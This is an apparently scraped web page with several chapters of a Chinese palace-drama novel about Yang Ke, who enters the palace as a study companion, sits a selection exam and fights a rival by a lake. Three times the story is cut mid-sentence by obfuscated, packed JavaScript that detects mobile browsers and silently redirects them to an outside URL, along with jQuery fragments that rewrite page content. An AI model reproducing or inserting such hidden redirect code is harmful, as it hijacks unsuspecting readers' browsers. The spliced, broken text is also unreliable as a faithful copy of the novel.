RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207048|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阻碍,一个猛地扑到她身上:“今年伴读一共就选了十名,你排榜首呢!”见她苦着脸,又疑惑道:“公子这是怎么了?难道不高兴吗?” 杨柯深叹了口气,将他拽出了紫英阁。 “小姐你可算回来了!”巧月见了杨柯,双眼一亮,家中一众丫头和小厮也都放下手里的活,迎了上来,簇拥着杨柯进门。 “姑娘你看,夫人给你买的衣裳,可漂亮了!”杨柯的随身侍女青桃蹦跳着向她奔来,手里捧着京城最新的淡雅流云裙,裙身淡蓝色,宛如天空初晴时的色泽,裙摆处还绣着流云图案,像是天上的云朵跑到人身上去了似的。 杨柯叹道:“这裙子固然漂亮,但用错了地方。” “阿柯,快过来。”程玉槿在院子中央朝她招手。 她慢腾腾地挪着步子,移到了程玉槿身边,闷声闷气道:“娘,我不进宫了。” 众人的动作僵在半空,面面相觑,最后目光落在程玉槿身上。 杨柯往额娘脸上偷瞄,她虽下定了决心,但心底却碍于程玉槿的淫威直打鼓。 程玉槿神色凝重地立在原地,终了才伸手去拉女儿:“阿柯,这件事你得听我们的。”说完便带着她往书房里去,“老头子,阿柯回来了。” 杨涛正在包扎典籍,一本一本地收入沉香木匣内,匣面铜扣还特意系上了金丝绦。 杨柯暗自腹诽,真是见鬼,自己满月那天都没这个待遇。 “阿柯,爹爹得告诉你,进宫一事由不得你自己作主,更由不得我和你娘来作主。”杨涛抬起头,郑重地看着她,“这是圣上的旨意。” 杨柯的太阳穴突突地跳:“那爹的意思是……我必须要进宫了?” 杨涛走上前,双手握着她的肩膀,既慨叹又无奈:“柯儿啊,你不晓得,我和你额娘,这辈子最不想看到的事情就是你进宫,你是我们的心肝宝贝,我们怎么舍得!”越说越激动,眼眶里都跳出了水花。 杨柯虽不愿进宫,但杨涛这阵仗实在夸张,听得她浑身起了鸡皮疙瘩。 程玉槿也看不下去他过头的表演,插言道:“我们知道你不愿意。按照惯例,你在宫内只需待满三年,三年之期一到,爹娘便会接你出来。” 杨柯松了半口气,她掰着手指头算:“只需要三年,那我二十一岁时就能离开那鬼地方,这买卖做了也不算亏。” 杨涛继续嘱咐道:“女儿啊,在宫中还有师父照看,青桃也是个聪明伶俐的孩子,她会跟着你进宫,继续照顾你。”青桃朝着杨柯使劲点头,杨柯看着她单纯可欺的样子,有些发慌,只好朝她干笑,青桃点得更使劲了,杨柯反倒笑不出来了,“爹,娘,你们能不能早几天接我出来啊?” “这事儿实在为难爹娘了。”程玉槿握住她的手,“不过柯儿,你要记住,千万要远离那些围着权力打转的人,做到这点,你也不会出什么岔子。” “额娘何出此言呐,按理来说,若是在他们微时便倾囊相助,一旦他们成功,我不就能跟着鸡犬升天吗?” 程玉槿看了看杨涛,两人达成了默契:“以往我们觉得你年纪尚小,不便过早向你灌输这些观念,可是现下你要进宫,这些事不得不告诉你。” 杨柯听着她的话,好奇之余更多是紧张。 她继续道:“那些人,用得着你的时候,巴不得掏出心窝子来对你好,可若是用不着你了,巴不得你死了才好。” 杨柯更笑不出来了,她望了望爹,又看了看娘,苦着脸回道:“好,我记住了。” 当时的杨柯未曾预料到,额娘口中轻飘飘的一句话,在以后的岁月里,会有无数的人用血和泪为它做注解。 4. 进宫 接下来的几日,杨柯在家中收拾细软,爹娘又专门请了宫中的阿婆来教她宫中礼仪,时间排得慢慢当当,可她学了这个转头就忘了那个。饶是如此,她也整天得不着闲,加上每日见着杨涛在跟前儿抹和眼泪,本来有些感伤的情绪也被搅和没了。 皇宫那边选拣了个良辰吉日,差了一队人马,一大早便到了杨府门前。磨蹭了半柱香的功夫,杨柯与爹娘挥手作别。轿帘落下,一声“起轿”响起,后车四角的铃铛叫得滴哩哐啷,轿子悠悠地朝着京城中央的紫微宫晃去。杨柯撩起车帘,伸头往外瞧去。一路上的景象全是她平时见惯了的,但此刻却尤为珍惜——往后三年里恐怕自己很难再见到了。 马车停在了东华门前,那里已然站着几个青衫伴读。杨柯下了轿子,还未往前走去,宫门内转出八名捧香宫女,后头跟着位鸦青蟒袍的礼监太监,尖着嗓子道:“诸位且随咱家往文华殿拜印——” 话音未落,一声斥骂乍起:“小心点儿!别脏了我的鞋!”杨柯被吸引过去,说话之人一身翠纹长袍,面色通红,活像只被惹急的螳螂。跟前跪着的粗使下人抖如筛糠,胸前衣襟上还沾着些泥点子,“公子,茶水实在太烫……”话还没说完,烫水便淋了上来,原本焦黄的脸霎时通红。 “这靴面绣的是苏杭十二色绞金线,若被沾上了茶水,拿你全家性命来换都不够!” 周遭伴读们或嗤笑或摇头,杨柯仔细一瞧,那公子银靴上的水印不过拇指大小,落在云纹上几乎微不可辨。 她正感恼火,却听宫墙拐角处传来铁甲相撞的铮鸣:“文华殿前喧哗者,杖二十。”接着一列马骑鱼贯而来。马上之人各个身长八尺,头戴凤翅金盔,手中朱缨丈二枪映着朝阳寒光凛凛。 杨柯顿时看直了眼,想来他们便是大名鼎鼎的羽林卫了。云昌吉所属的云氏一族执掌京城安防,统御九门禁军,而羽林卫则是从万千军中精锐里层层筛选、万里挑一而来,专职守卫皇室安危。杨柯忽而想到云昌吉平日里那副呆头呆脑的模样,为何同为禁军,二者竟有这般云泥之别? “大人,且把这贱奴打发了去!”螳螂竟恶人先告状,指着跪地的下人高声喝道。 领头的羽林卫开口道:“今日李公子的鞋上沾的是水,昔日令尊的甲胄上沾的是血。”原来这螳螂乃是镇北将军李冲次子,“如今你既已入宫,担任皇子伴读,这是家门荣耀,也是家门责任,还请李公子行事稳重,莫要辱没了家族声名。” 听了羽林卫的话,螳螂的气势也瘪了下去,但仍梗着脖子道:“多谢大人提醒。我自会处理家事,就不劳烦大人费心了。” 羽林卫微微颔首,目光掠过螳螂,继续驱马向前。 杨柯望着他们威风堂堂的背影,竟莫名冒出一丝怜悯,还没等她弄明白心中所想,便听见公公的尖嗓子重又响起:“诸位,时辰不早了,随咱家去殿内拜印吧。” 忙活了一盏茶的功夫,众人终于走出了文华殿。还没来得及歇口气,男子与女子又被分别领到不同的宫殿去。 “各位姑娘,今日便由老奴为你们细细讲解宫中规矩。”此人名唤张嬷嬷,生的一张瘦削脸庞,皮肤虽显松弛,但瞧着面相倒不让人反感。“既已踏入这宫门,往后行事可就不能再像自家府里那般随性了。老奴接下来的话,还请各位务必记在心里。”她清了清嗓子,肃然开口,“每日卯时一到,宫门准时开启,待到戌时,各宫门落锁进入宫禁。除了值夜当差的,其余人等一律不许随意走动。但凡有人胆敢违逆,将以违反宫规论处!” 说到最后一句,唾沫星子快要飞到面前人的脸上。她满意地检收到众人怯意的神色,视线最后停在了离她最近的伴读身上,“烦请姑娘重述一遍。” 那女子倒也不惧,脸上瞧着机灵,眼珠子转了圈,一五一十地将方才的话讲了个完全。 张嬷嬷满意颔首,又扬起下巴,继续道:“身为皇子伴读,诸位更需严守时间与规矩。卯时初刻前着整洁服饰至皇子居所陪膳,随后一同前往书房,全身心投入课业学习。” 一人插言问道:“嬷嬷,我们明日便能跟皇子一同学习了么?” 张嬷嬷的脸上露出浅笑:“姑娘莫急,本月尚书内省会教导各位宫廷规矩、诗书礼仪,待各位禀姿合格,再同皇子公主们一齐上课。” 说完,侧门处走进来几名宫女,手里端着木盘,木盘上整齐堆叠着锦带。 张嬷嬷执起一条,“从今日起,你们腰间都需系上如意结,往后可不许随意摘下。”说话间,宫女递来锦带,张嬷嬷演示系法,众人接过后纷纷缠上腰间,手上也跟着动作。 杨柯眼瞅着张嬷嬷的手左绕两圈,右绕三圈,脑子里也跟着云山雾罩,只好胡乱卷了几下,打了个松松垮垮的结。 诸事一一安排妥当后,众人便在宫女们的引领下,分别前往各自居住的宫殿。杨柯恰好被分配到由张嬷嬷带领。此番前行不能再走上次的路径,而是得绕过神武殿,从偏门进入后宫。尽管天刚破晓,宫道上早已满是往来的宫人。他们身着一式的宫装,浑像画本师傅偷懒时随手勾勒的一列木偶。没人时便低着头,身子蜷缩着,见着人便抬首堆笑、躬腰行礼,脸上的皮肉反倒舒展得格外开,一套动作下来熟练敏捷,看得杨柯又是惊叹又是佩服。 如今才刚入夏,日头便晒得人直冒汗。杨柯碰了碰青桃衣袖,视线带向她手里拎着的木盒子,悄声道:“取些出来。”木盒里放着用来纳凉的冰块,既然已经走得出汗,拿些搁在嘴里岂不美哉? 青桃的手刚伸进木盒,张嬷嬷的声音便冒了出来:“姑娘,但凡不在自己房中,除了陛下与娘娘赏赐,可不能随意拿东西吃。”话虽平淡,可她额头上的细汗倒是挺多。 杨柯嘿嘿一笑,凑上前悄声道:“嬷嬷,要不你也来点儿?冰块放到嘴里一会儿就化了,谁也看不出来。”说着揽过她的肩头,“我保证不跟人说。” 张嬷嬷的脸瞬间变黑:“你当我是什么人?”一把将杨柯的手薅了下来,垮着脸拧着眉,头也不回地往前走了。 杨柯一脸错愕,青桃朝她使了个眼色,“嬷嬷不怕热。” 女包拯的声音从前边传来:“姑娘们,再磨蹭的话,太阳都快下山了。”二人接着赶忙追上去,一边嘴里还嘀咕着:“这鬼地方都是什么人呐?”顺手又往嘴里塞了个冰块。 路过鎏芳宫时,一阵低低的呜咽声突兀传来。杨柯被哭声勾住了脚步,忍不住探头朝里张望。只见几个年轻宫女正紧紧围成一团,身姿佝偻,蹲在地上低声抽泣。这么漂亮的宫苑内,竟有人如此悲伤。 张嬷嬷也停了下来:“杨姑娘,在皇宫里,最要紧的便是收起你的求知欲。” 杨柯闻言看向她,她语气随之一厉:“好奇心害死猫。” 即便是阳光照着,杨柯的脚底也陡然升出一丝冷气,“她们被罚了?” 张嬷嬷沉默了良久,方才开口:“鎏芳宫里走了位主子,她们做奴才的也没处去了。”语气中带着一丝微不可闻的叹息。 杨柯感到疑惑,按理来说,妃子年龄最大不过五十,而且依据那几个宫女的打扮,她们的主子应该是个份位不高、年纪轻轻的嫔妃,怎么会殁了? 她还想再问,却见张嬷嬷目光如鞭,她也只好收回嘴。 终于,她们停在了一座大门前,金丝楠木的门框上写着“咸毓宫”三个金书大字。 “这便是咸毓宫——乐白郡主的寝宫。姑娘在下一轮分配前,负责陪读乐白郡主。”张嬷嬷指着门楣上的牌匾,“跟奴婢进来吧。” 一踏进门,宽阔前庭便现于眼前。庭院中遍植芭蕉与梧桐,天然有种月夜听雨声的雅致意境。东南方土山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207049|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上落着八角亭一座,与芭蕉梧桐遥相呼应。 青桃轻声试探问道:“嬷嬷,乐白郡主为何会住在宫里?郡主难道不是应该跟着公主殿下住在府里吗?” 张嬷嬷这时倒是耐下了性子来:“郡主乃安乐长公主与赤水王所出。王爷常年于西南边陲镇守疆土,蜀地潮湿,殿下心疼郡主难以适应,遂将郡主送回京城,安置于咸毓宫,这里也是殿下往日居住的宫殿。” 说话间,三人终于来到了住处——咸毓宫东侧的凌薇苑。小院虽然不大,但布置得十分雅致。院中种满了各种花卉,足见主人用心。 “这里便是姑娘歇息的地方了。郡主正在崇文馆上课,稍后便会回来。”张嬷嬷欠身退后,“老奴先告退了。” 二人躬身作别:“嬷嬷好走。” 踏入屋内,但见布置精巧,满室雅洁,东边是正房,西边为茶间,侧边小门即为侍女居所。屋子面积虽小,但对杨柯与青桃而言,居住其间,倒也宽绰有余。 青桃正手脚麻利地收拾着房间,手上动作不停,口中却忍不住向杨柯发问:“小姐,公主跟郡主两代人都住这咸毓宫,还都用咸毓宫当名号,这里头莫不是藏着什么特别的讲究?” 杨柯出了一身的汗,忙着换下衣服,想也没想便随口答道:“为何叫咸毓?这还不简单,抱着咸鱼不放手,功课丢在脑后头。” 恰在此时,一道话音伴着清脆笑声入耳:“‘咸毓秀钟灵’是尔,不过我平日里也和咸鱼没什么两样。” 杨柯转过头去,一个十四五岁的少女蹦蹦跳跳地进了门来:她一身月白的丝绸长裙,步态轻盈。因还未到及笄的年纪,头发按照大夏的规矩梳着细细的发辫,发丝中犹有几撮叛逆的毛儿,从秩序分明的发辫中跳将出来,蓬蓬地飘在头顶。 杨柯顿时反应过来,急忙向少女恭敬行礼:“参见郡主,臣杨柯。”一旁的青桃见状,也赶紧跟着行礼问好。 “快请起快请起,”乐白直愣愣地端详着杨柯,双眸清亮,“终于见到你了。” 杨柯被她瞧得不好意思,于是尴尬道:“方才是青桃同我闲聊,不曾想郡主驾到,有失礼节,在此向郡主道歉。”心里连连懊悔,背后讨论人家竟被抓个现行,真是丢人现眼。 乐白轻轻摆手,礼节规矩也随着她的动作飘远了:“哪里来的歉,我怎么没瞧见?这凌薇苑你们可觉得满意?”说罢,目光在屋内慢慢绕了一圈,似乎也在等待她们的回应。 杨柯心里一奇,这郡主倒是个妙人,“满意满意,多谢郡主细心安排。”青桃也在一旁跟着附和。 乐白听了甜甜一笑,露出两颗虎牙:“以后叫我乐白便是。虽说你是伴读入宫,但以后我们要长久相处。我该怎么称呼你?” “阿柯,我的朋友们都喊我阿柯。”杨柯感到畅快,情不自禁地欲要上前与郡主勾肩搭背,青桃赶紧咳嗽提醒,她这才反应过来不妥,顺势将手臂绕回,一边装作挠头,一边冲着对方干笑。 乐白并未察觉异样,只是瞧见她手臂上的月牙,惊异道:“这是你自己画的么?好生有趣。” 杨柯朝她笑道:“胎记胎记,打娘胎里就带着了。” “郡主,尚书局的人到啦!”一个十五六岁的宫女小跑着进来,一头乌油油的黑发结成小辫子,发尾随着脑袋在空中上下扑腾。 乐白眼睛一亮,朝杨柯道:“定是来看你的。”又对着小宫女吩咐道,“醒初,快将她请进来吧。” 一个身形细长的宫女跟着醒初进了门来,冲着乐白和杨柯行了礼,“明日尚书局安排了女官选拔,还请姑娘按时前往学馆应试。” 杨柯问道:“尚书局?是不是公孙大人曾经呆过的地方?” 那宫女含笑颔首:“正是,明日公孙大人也会来。” “好,明日我定准时到达。” 5. 选拔 尚书局的选拔安排在卯时,到了崇文馆,天还没亮。杨柯方一落座,便听前面的女子抱怨起来。 “困死我了,尚书局的选拔比伴读考试还早。”说话的姑娘一张圆脸,粉嫩的脸蛋上点着几颗雀斑。 一旁的长脸女子啧嘴道:“尚书局在尚书内省的地位可不一般。其余五个局哪有胆子这么支使我们?” “姐姐此话怎讲?” 长脸娓娓道来:“尚书内省一共有六局十二司,其余五个局负责的不过是些后宫的大小事宜,唯独这个尚书局能接触到外廷政务,还有机会擢升为陛下身边的御侍令呢,公孙大人就是从尚书局提拔上去的。” 圆脸听得一脸迷茫:“什么尚书下书的,听得我头都大了。若不是要点名,我便让丫头来了。” 长脸倒吸一口冷气:“妹妹,这话在宫中可不能说。”停顿了一下,低声道,“除非你姓章。” 圆脸一脸疑惑:“姓章会如何?” 长脸斜睨她道:“你是从外地来的吧?连章家都不知道。他们在京城中可是名门大户。镇北大将军章满乃是宸妃娘娘的兄长,羲王殿下的舅舅。” 见圆脸张大嘴巴,长脸也顾盼自豪,又继续道:“他们章家在西北镇守边境,早年收了楼兰多少土地,军功赫赫,那章大将军一回京皆是百官相迎,甚至在皇上面前都不失威风。” 圆脸惊叹道:“可真是神武将军,从前听爹爹提到过章将军的名号。” “可不是嘛!章家贵为外戚,又军功有名。”她脸上露出八卦神色,“羲王与章二姑娘从小一同长大,青梅竹马,他们订婚是迟早的事。” 圆脸满是难以掩饰的失望:“羲王竟……”又轻轻叹了一声,“这种美梦本就不是我们能想的。” 长脸见她低头叹息,忍不住安慰道:“这宫中皇子哪个不是玉树临风?没了羲王,还有端王、宣王呢。”见对方不为所动,又补道,“妹妹可见过宣王?听闻宣王殿下是众皇子中最好看的,他母亲瑾妃是柔然公主,西域那边儿的女子长得可是个顶个的俊俏。” “长相出众又如何?还是比不上羲王殿下从沙场归来的模样,我这辈子都忘不掉。”圆脸神情痴痴,仿佛眼前正是羲王骑马凯旋的英姿。 看着圆脸犯花痴的模样,杨柯不禁好笑又惋惜,多好的一个姑娘,却要执迷于皇家子弟,即使能嫁入帝王家,还不知道有多少苦头要吃。 长脸笑叹道:“你还真是个情种。虽说宣王看起来斯斯文文的,但他的武功可不在羲王之下,当年陛下南巡,在路上遭遇暗杀,是宣王一箭射杀了刺客,救了陛下。” 杨柯心里暗自称奇,这宣王竟如此厉害,之前就听师父夸赞过此人,没想到在险境之下还有勇猛一面。 长脸将手拢在嘴边:“宣王背后是易家,这你应该听说过吧?” 圆脸点点头:“易大人是两朝老臣,谁人不知呀?” “还有端王和宫家,”长脸连声啧嘴,“虽然宫家不如章家和易家那么权势滔天,但丽妃荣宠二十年不衰,宫询也是执掌六部之首吏部的大权。” 什么这个家,那个家的,把杨柯听得晕头转向。正无语着,忽见门口走进来两名女子,打首的遍身绫罗,娇俏美艳,跟着的一身青萝长裙,正是入宫那日与张嬷嬷对答如流的女子。 “这就是章二姑娘,她身后的是刘生将军之女刘悦。” 圆脸带着羡慕和酸意凝视了片刻,见章二渐渐走近,便垂下眼去装作没看见。 长脸安慰道:“你也莫灰心,今年前线换了章家公子章擎坐镇,本以为能扭转章家如今的颓势,结果还是丢了不少土地。听人说,这朝中忌惮他章家的有的是人。” 圆脸来了兴致,刚想开口说话,又缩了回去,目光投向新进来的二人。 杨柯在她们身后听着,她本对这选拔毫无兴致,倒是两人的对话打散了困意,现在突然结束,心中竟觉得意犹未尽。 进来的女子身着青色官服,头戴莲花冠,另一人身着外朝紫色官服,面容白皙细嫩,看着倒像是个女人。 “在下尚书内省的内司徐英,”伸手示意身旁的男子,“这位是户部左侍郎公孙大人。” 听到公孙二字,杨柯一个挺身坐了起来。 徐英缓缓开口:“众人皆为京城中才貌出众的女子,今日我等前来,意在遴选更为拔尖者,纳入尚书局。” 身旁有女子窃窃私语道:“为何户部要来帮着尚书局选人?” 另一人回道:“公孙大人出身尚书局,曾经又是陛下身边的御侍令,这回陛下赐了公孙大人特权,由她来负责此事。” 有女子好奇发问:“公孙大人,尚书局究竟司职何事?” 公孙瑶解释道:“简而言之,便是协助陛下处理六部政务文书。但凡章奏等各类文书传入内廷,先由尚书内省负责收纳登记,而后依类分别呈递给陛下御览,或是代行批阅。待旨意定下,形成诏令,再向外颁布。哪怕是陛下欲下旨意,亦需尚书内省诸位宫官从旁协助,将旨意整理成内批,方能颁至外廷,通达各处。” “可我们尚未接触过政务,哪里会批阅奏折?” “诸位莫要忧心。待你们进入尚书局,最初会担任尚书女使一职。这期间,主要职责便是辅佐御侍令。尚书局平日里一应事务,从文书的处理到政令的传达,事无巨细,皆由她们统筹安排,而你们只需听其指引即可。” “好了,这些问题留着以后再问。”徐英不耐道,“我们到这来不是解答疑问的,是来选人的。” 众人脸色露出不耐,但碍于身份又不好发作,只有小声嘀咕。 徐英缓缓肃然道:“各位如何理解‘以天下为己任’?” 全场安静了一瞬后,坐在第一排的章可馨举手:“以天下为己任,自是要凭高远瞩,以我之智为万民谋福。” 徐英点头称赞:“不错,那你认为要如何为万民谋福?” 杨柯抻着脖子去瞧公孙,她似乎并未在听二人的对话,悠悠晃着折扇,视线飘到了后墙的丹青上。杨柯顺着她的视线转头看去,左瞅瞅右看看,半天也没瞧出什么名堂来。 “杨柯,你有什么想法?”杨柯浑身一震,回头一看,徐英的目光落在了自己身上。明明坐在最后一排,怎么还被点名点上了? 杨柯结结巴巴地开口道:“若大人觉得对,那便是对,若大人觉得不对,那便是不对。” 四下里嘀咕声响起:“她说什么呢?” “听说此人是甲等进来的。” “这就是甲等的水平?” 一直沉默的公孙瑶开口道:“那你自己如何认为?” 杨柯想也没想便答道:“只有傻子才会这样想。” “不得无礼。”徐英眉头拧起,“你重新回答一遍。” “徐大人,这就是我的想法。” 话音甫落,场子里议论声又纷纷四起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207050|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这人到底什么来历?” “她是李元李太傅的关门弟子啊!” “怪不得呢。” 公孙缓缓问道:“为何你觉得傻子才会以天下为己任?” 杨柯嘀咕道:“光凭一个人怎么能管得了天下?又不是皇帝……” 徐英喝道:“放肆!” 公孙抬手示意:“让她继续讲。” “若所有人都愿意以天下为己任,但科考随随便便就能考上?若考不上怎么能以天下为己任呢?可考上了以后,默默无闻、庸庸碌碌地做一个卑微的小官,又怎么能以天下为己任呢?” 徐英正色道:“勤奋读书,仕途通畅,方为正道。” “朝廷里七品以上的官员也不过百人,全天下的读书人可远远不止这么点儿啊。” “正因重臣难当,因而更要发奋图强。” “当官的寥寥无几,剩下的读书人,难道他们就不努力了吗?以天下为己任,难道就要寒窗苦读、为官做仕?”杨柯咧嘴一笑,“我倒是觉得,每日遛鸟贪酒也很不错,没给天下人添麻烦不也是一桩好事?倘若人微言轻,饱食果腹犹不可得,更遑论养家糊口,做官为仕更是奢望。” 徐英怒道:“胡说八道!” 杨柯并不受她影响,反倒有条有理:“徐大人,我可没有胡说八道。杜甫说要‘致君尧舜上,再使风俗淳’,实际上他一生落拓潦倒,穷老死在异乡路途之上,理想到死也没有实现。连他的结局都尚且如此,难道芸芸众生还能比得上诗圣之才?” 公孙瑶蓦地撑案而起,晃着折扇,懒洋洋道:“好了,今日我也就听到这里,徐大人,你且好生甄别,我手头尚有诸多要务亟待处理,不便久留,先行一步。” 徐英一怔,旋即笑着点头,右手抚左拳,欠身一礼:“您先忙,下官恭送。” 众人起身送行:“公孙大人好走。” 落座后,徐英又点了另一名伴读,并未再理杨柯。 恰好杨柯的注意力也跟着公孙走了,她趁着众人不留神,从后门偷偷溜了出去。 “大人!”杨柯压着嗓子喊她,“公孙大人!” 公孙瑶听见身后的动静,停下脚步,狐疑地回过头来:“你有何事?” “大人瞧着好生气度不凡。” 公孙微一挑眉,飘了一眼她身后的学馆:“你专门跑出来就为了拍我马屁?”说完便转身往前行去。 杨柯跟了上去:“官爷不都爱听这套?” 公孙冷声道:“我这里不需要。” 杨柯缠在她身后,絮絮叨叨:“当官的好处不就是被人捧着,既然您不爱听,那为何要当官呐?不觉得闷吗?” “怪不得方才你会那么说。” “您也觉得我在胡说八道?”杨柯故意为此,她并不想当了女官,三年后还得守在宫里,但其中道理并非是在胡说八道。 公孙的脚步终于停了下来,“话糙理不糙。”说着拂了拂手上的扇子,“世事不坏于真小人,而坏于伪君子。” 杨柯听得云里雾里,只好嘿嘿一笑:“我今年十八,也算不得小人了。” 公孙拿着折扇敲她额头:“那你算君子?”她嘴角微扬,“君子可不是好当的。”话音还未落,人已经走远,“先不聊了,改天咱们尚书局见。” 杨柯愣在原地,“尚……尚书局?”她还未反应过来,忽然身后的屋子里“嘭”地一声乍响。 6. 遇见 响声正从自己座位那块儿传来,杨柯回头一看,桌椅已是掀了个四脚朝天,方才说话的长脸和圆脸二脸惊恐,簌簌发抖。章可馨正盛气凌人地立在她们跟前,后面还杵着个刘悦,气势仿佛黑白双煞来人间索命似的。 还没等她弄清楚状况,接着又是一道声响:“啪!”章可馨竟然抽了那长脸一巴掌,五根手指印结结实实地伏在她脸上。 众女眷皆噤了声,像被冻住似的呆呆看着眼前的景象。 “章姑娘……”长脸颤颤巍巍地望向章可馨,眼里竟没有一丝怒意。 “怎么不聊了?方才不是聊得很起劲么?”章可馨的语音清脆,虽在恫吓,却带着三分甜媚。 “我们只是在……”话音还未落,又是“啪”地一声,鲜红的掌印落在了长脸的另半张脸上。 “不想再被我掌嘴,就闭上嘴!”章可馨大声喝止,凌然的眼神又落到了一边的圆脸身上,“你也敢对二哥有兴趣?” 圆脸颤抖着声音道:“不……不敢了。” 门外的杨柯提步进去,插在她们中间,四人皆是一愣,狐疑地看着她。只见她笑嘻嘻道:“你们在玩什么把戏?相扑吗?” 刘悦率先反应过来,朝她甜笑道:“杨姑娘,你最好少来多管闲事。” 杨柯见她皮笑肉不笑的样子,自然生厌,脸上却咧开嘴笑:“我哪有这闲工夫插手,就是好奇你们在玩什么新鲜花样儿。” 章可馨没了耐心,皱起脸喝问道:“你是哪儿来的丫头?” 人群中一个声音冒了出来:“她不过是个商贾之女,凭着李太傅的关系才有了进宫的机会。” 章可馨又是惊讶又是好笑:“商人?” 刘悦故意拖着长音:“商人都能进宫了?真是稀奇。”不少女子拿起手帕掩笑,另一些看不惯的低头叹气。 杨柯也跟着笑:“让二位大小姐开眼界了。不过,既然你们出身名门,想必比我这个商人之女更懂,皇宫内外皆以和为贵、以理服人的道理。”目光对上了双手抱胸的章可馨,“章姑娘动辄掌掴,好像不太合适吧?” 章可馨冷脸打量着她:“狗肉上不了宴席,你当真以为自己能言善道就有资格多管闲事?” 杨柯朗然道:“今日并非是我要教训二位,只不过此事若传到宸妃娘娘和各宫主子的耳中,说不定会特意传唤二位过去,好好夸奖一番。” 章可馨的脸色微微一变,她虽骄横,却也不蠢,若闹到了她姑姑宸妃面前,可就没那么好办了,但她嘴上仍犟:“让她们知道又如何,关你何事?” 杨柯耸耸肩:“确实不关我的事,我不过是好心提醒,至于章姑娘听不听,就是你的事了。” 章可馨吃了瘪,心里憋着气,恨声道:“真是晦气,怎么召进宫的伴读个个都这么讨厌。” 刘悦跟着接嘴:“不知道是哪些人在背后做了手脚,掺进来些小喽啰。” 杨柯顿感无语,不想继续跟她们纠缠了,准备转身走开。刚走出几步,忽然背后被人猛地推了一把,一个踉跄栽进了门前的承影湖里。 “嘭!”扑通一声,有人大喊:“她落水啦!”接着吵嚷声迭起:“会不会出人命啊!”“来人呐!” 这些伴读都是深宅大院里的小姐,心地善良,见了这样的事自然吓得花容失色,心都提到了嗓子眼儿,生怕面前活生生的人没了,于是都纷纷呼号着救人,岸边裙裾翻涌,呜呜嚷嚷乱成一团。跑来崇文馆凑热闹的乐白也刚好撞见了这一幕,大声呼唤着宫人过来帮忙,“阿柯!马上来人了!” 众人正焦灼地注视着在水里扑腾的杨柯,没想到她一个挺身站了起来,而那水位尚未没过肚子。原来承影湖的湖底是个漏斗形状,湖心最深,越向岸边延伸去就越浅。当年设计此湖的师傅也是积了大德。 杨柯半截身子晾在外面,扯着嗓子大声吼道:“章可馨,你给我站住!” 章可馨倒也没急着走,反倒悠悠地晃了过来:“唤我作什么?明明是你自己摔进去的。”她的目光落到乐白身上,“乐白,你对这个丫头这么好,难道想换玩物了?” 杨柯心中一股火“嘭”地炸开,直接冲上去,根本没给对方反应的时间,当头对着章可馨就是一巴掌。 “啪”地一声,清脆又响亮。 众人皆呆在原地,章可馨也被她打蒙了,硬是愣了片刻才反应过来,气得连话都说不清:“狗东西……你不要命了?” 杨柯也不示弱:“嘴巴还不放干净,看来还想吃巴掌?”扬起手掌作势要再打下去。 章可馨被吓得退了半步,旋即又反应过来,猛地伸出手,想要扯住杨柯腰间的系带,可原本的如意结被杨柯糊弄成了个活结,她大力扑去,反而抓了个空。杨柯见势,趁机绊她一脚,章可馨失去平衡,扑通栽到了地上。 周围的人哄笑起来,乐白甚至看热闹不嫌事大:“阿柯,快将她按住!”一旁的刘悦想要加入战局,却被乐白一把拦住,她也只好悻悻地退下。 云昌吉刚好路过,老远便听见湖边闹哄哄一团,走近了才发现是杨柯,他也挤进人群里欲上前阻拦:“别打了!你们快住手!有什么事可以好好说。” 杨柯大声道:“云昌吉快来帮我打她!” 云昌吉愣在原地:“这……这不好吧。” 乐白见了昌吉,嘴角微微一动,似乎要笑,却又隐去。 “你们别打了!”云昌吉上前伸手扒拉她们,却被章可馨一把推到了水里,也落了半身湿透的下场。 两人你踩我脚,我撞你头,难分难舍。章可馨虽出身武术世家,但平日里养尊处优,体力终究不及杨柯,没过多久便败下阵来。 突然一声训斥传来:“宫内厮打,成何体统!” 方才满耳的喧闹如气泡戳破一般瞬间消失,而后众人齐声行礼:“参见殿下!纪夫子!” 这时,杨柯和章可馨默契地放开彼此,乖乖地在一旁垂目而立。 四周又静默下来,众人的目光不约而同地落在了两位泼皮身上:二人皆是衣衫凌乱,发髻也成了歪歪扭扭的麻雀窝,嘴角边还留着几道爪印。 纪启明压着怒气道:“阿柯,可馨,你们在这做什么?”此人正是御书院的祭酒纪启明。 杨柯率先答道:“回纪夫子,我们在探讨学问,不慎因见解不合起了争执,未料动静过大,惊扰了夫子和殿下,实属不该,实属不该。” 章可馨见状也认栽,跪着欠身道:“可馨知错,愿受责罚。” 气氛一时凝固下来,忽听一人仰天大笑:“本王活了这么多年,见过宫里的女人打架,还没见过打到水里去的!”众人闻言皆掩嘴偷笑。 乐白开口解围道:“让大哥见笑了,她们前几日刚入宫,还未适应宫里规矩。”原来方才大笑那人是端王宇文拓。 